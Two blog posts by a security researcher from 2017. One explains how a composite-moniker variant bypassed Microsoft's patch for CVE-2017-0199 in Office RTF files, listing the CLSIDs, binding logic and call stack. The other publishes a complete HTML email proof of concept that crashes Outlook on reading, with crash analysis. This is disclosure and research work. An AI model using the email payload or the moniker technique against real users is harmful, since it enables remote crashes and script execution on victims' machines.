2017年7月17日星期一

"Bypassing" Microsoft's Patch for CVE-2017-0199

Background

If you have followed my research on the infamous CVE-2017-0199 zero-day attack, you may know we (w/ my colleague Bing) did a presentation titled “Moniker Magic: Running Scripts Directly in Microsoft Office” at the SYSCAN360 security conference on May 31th in Seattle, WA. The slides are available at https://sites.google.com/site/zerodayresearch/Moniker_Magic_final.pdf. During the presentation, we explained the background of the CVE-2017-0199 (there’re actually 2 bugs/variants under the same CVE-ID, including the “secret” one that was reported by myself in January), the root cause of the two vulnerabilities, as well as how Microsoft addressed them.

The Microsoft patch actually leverages a mechanism on the Windows level, which is called "COM Activation Filter". The patch filters out 2 dangerous CLSIDs (a CLSID is an identifier of a COM object) leveraged in the 2 variants, respectively. However, the whole "features" aren't changed at all. It means that if someone finds another (the 3rd) dangerous COM object, with some modifications of the original PoC, he/she is able to achieve remote code execution once again. We expressed our concerns at the conference as well as during personal conversations with Microsoft security folks.

The story didn't end there, in fact, there's indeed such a variant, it's reported to Microsoft just on the day before our presentation (May 30), I have kept the secret during the conference (sorry for the infosec friends:-)). As the new patch has been released on Patch Tuesday last week, let’s talk about it.

If you haven't applied the new patch yet, you're highly recommended to do so right now.

The Details

The new variant leverages the Composite Moniker. According to MSDN,

"A composite moniker is a moniker that is a composition of other monikers and can determine the relation between the parts. This lets you assemble the complete path to an object given two or more monikers that are the equivalent of partial paths."

The following picture shows the stream of the Composite Moniker used in our PoC.



As we explained in our presentation, the stream of the moniker is actually the same as the so-called "MonikerStream" in the "\x01Ole" stream in the RTF-style PoC, it means that if you fill the above stream in the "MonikerStream" position, a Composite Moniker will be called in place.

When we put the sample test.sct file as we used in our “PPSX Script Moniker” bug (see our slide 30) in the right place (here we put it on the “C:\temp\test.sct” on local machine, but it could be put on remote computer via various protocols such as SMB share), and ran the modified RTF file, we got a beautiful calc.exe popping up on the latest Windows 10 + Office 2016 environment (before the July Patch Tuesday, of course).


How it worked? Well, the Composite Moniker is really a complex place but I’m going to try to explain a little bit. As we know, a Composite Moniker means there’re 2 or more Monikers working together. In our PoC, the Composite Moniker contains 2 monikers, a File Moniker and a so-called "new" Moniker. We could easily find out the CLSIDs in the stream.

{00000309-0000-0000-C000-000000000046} -> Composite Moniker (position 0)
{00000303-0000-0000-C000-000000000046} -> File Moniker (position 0x14)
{ECABAFC6-7F19-11D2-978E-0000F8757E2A} -> “new” Moniker (position 0xA1)

When binding the Composite Moniker, the binding process starts from the right-side Moniker to the left-side Moniker, while the left-side Moniker is held in the “pmkToLeft” parameter of the “IMoniker::BindToObject()” method.

HRESULT BindToObject(
  [in]  IBindCtx *pbc,
  [in]  IMoniker *pmkToLeft,
  [in]  REFIID   riidResult,
  [out] void     **ppvResult
);

When binding the “new” Moniker, it obtains the left-side moniker via the “pmkToLeft” parameter. In this case, the left-side Moniker is the File Moniker. So, it uses the File Moniker to initialize an object determined by the extension name ".sct". If we look into our Windows Registry, we could easily figure out the CLSID of the object is "{06290BD2-48AA-11D2-8432-006008C3FBFC}", progid is "scriptletfile". So the "scriptletfile" object is created and initialized by the content of the test.sct. This is a typical File Moniker binding process.

The “new” Moniker queries the IClassFactory interface to communicate with the returned object. Since the “scriptletfile” object has the IClassFactory interface exposed, the method IClassFactory::CreateInstance() is called. The "scriptletfile" object's IClassFactory::CreateInstance() implementation starts the scripting environment and runs our scripts, so this is the problem.

So, in an easier-to-understand “script” language, the logic looks like the following:

new (object persisted in “\\127.0.0.1\C$\temp\test.sct”)

Here is the call stack when calc.exe is being popped up, note the highlighted key functions.

0013cad8 67d5d248 kernel32!CreateProcessW
0013cb60 67d5d54a wshom!CWshShell::CreateShortcut+0x161
0013cbc0 750bcc68 wshom!CWshShell::Exec+0x19a
0013cbe0 750bcae2 OLEAUT32!DispCallFunc+0x165
0013cc70 67d601c7 OLEAUT32!CTypeInfo2::Invoke+0x23f
0013cca0 67d5b055 wshom!CDispatch::Invoke+0x5c
0013cccc 67115424 wshom!CWshExec::Invoke+0x29
0013cd10 6711505b jscript!IDispatchInvoke2+0x8d
0013ce08 67117622 jscript!VAR::InvokeByName+0x389
0013ce54 671175d6 jscript!VAR::InvokeDispName+0x3e
0013ce80 671144a7 jscript!VAR::InvokeByDispID+0x310a
0013d278 671148ff jscript!CScriptRuntime::Run+0x12b9
0013d374 67114783 jscript!ScrFncObj::CallWithFrameOnStack+0x15f
0013d3cc 67114cc3 jscript!ScrFncObj::Call+0x7b
0013d470 67123797 jscript!CSession::Execute+0x23d
0013d4bc 67120899 jscript!COleScript::ExecutePendingScripts+0x16b
0013d4d8 6ec2831f jscript!COleScript::SetScriptState+0x51
0013d4e8 6ec28464 scrobj!ScriptEngine::Activate+0x1a
0013d500 6ec299d3 scrobj!ComScriptlet::Inner::StartEngines+0x6e
0013d550 6ec2986e scrobj!ComScriptlet::Inner::Init+0x156
0013d560 6ec2980b scrobj!ComScriptlet::New+0x3f
0013d580 6ec297d0 scrobj!ComScriptletConstructor::CreateScriptletFromNode+0x26
0013d5a0 6ec33b7e scrobj!ComScriptletConstructor::Create+0x4c
0013d5cc 6ec22946 scrobj!ComScriptletFactory::CreateInstanceWithContext+0x115
0013d5e8 6f2264be scrobj!ComScriptletFactory::CreateInstance+0x19
0013d63c 766bb5dd comsvcs!CNewMoniker::BindToObject+0x14f
0013d670 767240c9 ole32!CCompositeMoniker::BindToObject+0x105 [d:\w7rtm\com\ole32\com\moniker2\ccompmon.cxx @ 1104]
0013d6dc 5fc737a6 ole32!CDefLink::BindToSource+0x14e [d:\w7rtm\com\ole32\ole232\stdimpl\deflink.cpp @ 4611]
0013d720 5f7cdad1 wwlib!wdGetApplicationObject+0x68f70

Why it bypassed Microsoft's patch?

As we explained in our presentation, the Microsoft's April Patch banned two objects in Office, they are:

{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B} -> the “htafile” object
{06290BD3-48AA-11D2-8432-006008C3FBFC} -> the “script” object

They didn't ban any of the CLSIDs used in our new PoC.:-) While the "{06290BD3-48AA-11D2-8432-006008C3FBFC}" is very close to the "{06290BD2-48AA-11D2-8432-006008C3FBFC}", they are still not the same one. The banned one is “script” object, which, when being bind, would find and run scripts for us nicely. However, the “scriptletfile” object could also do the same work with a little help from the “new” Moniker.

Some Thoughts

There's some of my personal thoughts around this, the first is absolutely this new variant strongly demonstrates this is an “open” attack surface, and Microsoft's work wasn’t done very well. While I prefer not to judge Microsoft's patching strategy why they didn’t touch the features as they may have their own considerations (compatibility, user experience, etc), it's a clear proof that the patching strategy is weak, or weaker than I expected. The patching strategy is very similar to the ActiveX "killbit" solution when in the old days ActiveX vulnerabilities were very popular. It's an "easy fix" - people find a vulnerable object, we kill the it, people find another, we kill another, easy but not proactive, I'd say.

Also, it's the reason why I personally prefer to say the "RTF URL Moniker" issue, the "PPSX Script Moniker" issue, and this one, are separated bugs and should be assigned with different CVE-IDs (though Microsoft has assigned a new CVE-ID, CVE-2017-8570, for this variant). Microsoft putting them under a same CVE has caused confusions - we didn't assign all the ActiveX vulnerabilities as one CVE-ID, right?

Stay secure.

2017年3月27日星期一

An Interesting Outlook Bug

Last week I reported an interesting bug in Outlook to Microsoft - it's an HTML email, and when you send this email to someone, when he/she *just read* the email, Outlook will crash (similar dangerous level as my #BadWinmail bug if this one is exploitable). As today MSRC told me that they think it's a non-exploitable bug and it seems that they are not going to fix it in near future, I'm releasing the details in this quick write-up, and hopefully, for an "old pedant" style open discussion about the exploitability as I still have some doubts.:-)

The PoC could be as simple as the following, or you may download the .eml file here.

Content-Type: multipart/alternative; boundary="===============111111111111==
MIME-Version: 1.0
Subject: title
From: aa@msft.com
To: bb@msft.com

--===============111111111111==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit

plain text area
--===============111111111111==
Content-Type: text/html; charset="us-ascii"
MIME-Version: 1.0

<html>
<head>
<style>body{display:none !important;}</style>
</head>
<body>    
<div>
e
</div>
<div>
<table>
<tr height="1%">
</tr>
</table>
</div>
<div>
e
</div>
</body>
</html>

--===============111111111111==--


If you do some tests based on the PoC you will quickly figure out that the CSS code "<style>body{display:none !important;}</style>" is something important here. For example, if we remove this line, Outlook won't crash. This also suggests that the bug is related to some "CSS rendering" code in Outlook.


The Crash

The following crash should be observed on Office 2010 14.0.7177.5000, full updated as of March 21, 2017. In fact, I believe it affects all Outlook versions.

(384.400): Access violation - code c0000005 (!!! second chance !!!)
eax=0020f580 ebx=0ea72288 ecx=00000000 edx=00000000 esi=191cdfd0 edi=5d064400
eip=5c5e17e5 esp=0020f56c ebp=0020f754 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
wwlib!DllGetLCID+0x25b35f:
5c5e17e5 f781e402000000040000 test dword ptr [ecx+2E4h],400h ds:0023:000002e4=????????
0:000> k
ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
0020f754 5c5a2b93 wwlib!DllGetLCID+0x25b35f
0020f774 5c1d80de wwlib!DllGetLCID+0x21c70d
0020f794 5c1d801b wwlib!GetAllocCounters+0x51906
0020f818 5c1d5c33 wwlib!GetAllocCounters+0x51843
0020f82c 5c26d803 wwlib!GetAllocCounters+0x4f45b
0020f83c 2f63f1b6 wwlib!GetAllocCounters+0xe702b
0020f880 2f63f06b outlook!GetMsoInst+0x32e2
0020f8a8 2ffb9d6b outlook!GetMsoInst+0x3197
0020f938 76b0ef1c outlook!PushSavedKeyToCicero+0x291d8
0020f944 7733367a kernel32!BaseThreadInitThunk+0xe
0020f984 7733364d ntdll!__RtlUserThreadStart+0x70
0020f99c 00000000 ntdll!_RtlUserThreadStart+0x1b

It crashes at the following address:

.text:31B417D2 loc_31B417D2: ; CODE XREF: sub_31714D18+42CB1Ej
.text:31B417D2 lea eax, [ebp+var_1DC]
.text:31B417D8 push eax
.text:31B417D9 push [ebp+var_4]
.text:31B417DC push ebx
.text:31B417DD call sub_3177CE19                          ;memory data at eax will be updated
.text:31B417E2 mov ecx, [eax+48h]                           ;read the pointer at offset 0x48
.text:31B417E5 test dword ptr [ecx+2E4h], 400h      ;crash


Since the data pointed by EAX (@31B417E2) will be updated in function "sub_3177CE19", I did some debugging in that function, and it seems that:
  1. There seems to be a custom heap allocator, as I've seen heap block headers, and links.
  2. The "sub_3177CE19" does the job locating the data based on the 1st param (a pointer) and 2nd param (always be 0), and the data will be copied to the heap block pointed by the 3nd param.
  3. According to my tests, the copied bytes are always 0x00, so that's why it seems to be a null pointer dereference bug.


Discussions

If security is that clear, there's no security research.:-) Due to the complexity of Office code and Microsoft keeps refusing to release Office symbols (I've said about this 1 million times), it's really hard to be that %100 sure from outside..

First point I'd put is that it's really hard to debug the data flow without symbols, if you look at the related code you will find that this isn't that firmly NULL pointer - instead the 0x00 bytes are copied from another pointer and that related to some internal structures. The 2nd is that when I tested it in a live env (email server + Outlook env), I've observed some different things. If I remember it correctly it's on an Outlook 2016 (32bit) + Windows 10 (64bit) env, when I receive/read such email, Outlook sometimes won't crash immediately, instead, it will crash at another different address when the user performs future actions on Outlook. I don't remember the details regarding the "live test", but it does increase my doubts..

To say the least, crashing someone's Outlook *remotely* is still a bad thing, right? Think about it.. someone is working on Outlook but Outlook crashes when he/she is reading the coming email..

Feel free to reach me about your thoughts.:-)

Thanks,
Haifei